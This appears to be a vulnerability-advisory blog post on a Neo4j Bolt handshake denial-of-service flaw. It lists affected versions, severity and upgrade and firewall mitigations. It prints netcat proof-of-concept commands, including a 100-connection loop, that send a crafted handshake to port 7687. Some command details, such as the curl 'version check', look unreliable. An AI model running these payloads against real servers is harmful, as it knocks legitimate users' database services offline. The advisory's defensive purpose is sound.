Listen to this Post
Neo4j’s Bolt protocol implements a modern handshake decoder that fails to properly distinguish between an overlong capability bit mask and a truncated one. When an unauthenticated client establishes a connection to the Bolt connector and sends a selected protocol version followed by 32 continuation bytes within the capability mask, the decoder enters an erroneous state. Instead of recognizing the message as malformed and rejecting it while closing the channel, the decoder resets its reader index and enters a waiting state, expecting additional bytes to complete the handshake.
Because the same unread bytes remain at the front of the decoder buffer, appending a terminating byte at a later stage does not recover the connection. The decoder re-reads the identical first 32 continuation bytes repeatedly, never producing a handshake-finalization message, and leaves the channel open indefinitely. This behaviour can be triggered prior to any authentication, meaning any client that can reach the Bolt connector on the network can exploit this flaw.
The root cause lies in the improper handling of length parameter inconsistency, categorised under CWE-130. The decoder treats an overlong mask identically to a truncated one, failing to enforce proper length validation during the handshake phase. This logic flaw allows an attacker to consume Bolt channels without completing the handshake, potentially leading to resource exhaustion as open channels accumulate.
The vulnerability affects both Neo4j Enterprise Edition and Community Edition. Versions starting from 5.0 up to (but not including) 5.26.29 are vulnerable, as well as the 2025.01 release line up to (but not including) 2026.07. The CVE was published on 5 August 2026, and the assigner is Neo4j themselves.
The CVSS v4.0 base score is 5.5, rated as MEDIUM severity, with the vector string CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P. The attack vector is network-based, requiring low attack complexity, no privileges, and no user interaction. The availability impact is low, while confidentiality and integrity are unaffected.
Given that the flaw resides in the handshake decoder logic, the fix would involve implementing proper length validation for the capability bit mask, ensuring that overlong masks are rejected and the channel is closed immediately. Neo4j has already addressed this in versions 5.26.29 and 2026.07.
DailyCVE Form:
Platform: Neo4j
Version: 5.0 <5.26.29, 2025.01<2026.07
Vulnerability: Handshake DoS
Severity: Medium (5.5)
date: 2026-08-05
Prediction: Already Patched (2026.07/5.26.29)
What Undercode Say:
Check Neo4j version
curl -s http://<neo4j-host>:7687 | head -n 5
Test handshake vulnerability using netcat
echo -ne '\x60\x60\xb0\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc <neo4j-host> 7687
Monitor open Bolt channels
ss -tn | grep 7687 | wc -l
Simulate multiple handshake attempts
for i in {1..100}; do echo -ne '\x60\x60\xb0\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc <neo4j-host> 7687 & done; sleep 5; ss -tn | grep 7687 | wc -l
Exploit: (Educational Purposes!)
An attacker can exploit this vulnerability by sending a crafted Bolt handshake message. The message consists of the selected protocol version (4 bytes) followed by 32 continuation bytes (0x00) in the capability mask field. The decoder resets its reader index and waits indefinitely, leaving the channel open. Repeating this process with multiple connections can exhaust available Bolt channels, leading to a denial-of-service condition where legitimate clients cannot establish new connections.
Protection:
- Upgrade to Neo4j version 5.26.29 or later for the 5.x release line.
- Upgrade to Neo4j version 2026.07 or later for the 2025.01 release line.
- If immediate upgrade is not possible, restrict network access to the Bolt connector (port 7687) using firewall rules to allow only trusted IP addresses.
- Deploy rate-limiting or connection-throttling mechanisms at the network layer to mitigate mass connection attempts.
Impact:
Successful exploitation allows an unauthenticated remote attacker to hold Bolt channels open without completing the handshake. This leads to resource exhaustion as each open channel consumes system resources (memory, file descriptors, threads). Over time, the accumulation of orphaned channels can prevent legitimate clients from establishing new connections, resulting in a denial-of-service condition. The impact is limited to availability, with no effect on data confidentiality or integrity. The vulnerability is automatable and requires no special privileges, making it a practical attack vector for disrupting Neo4j database services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
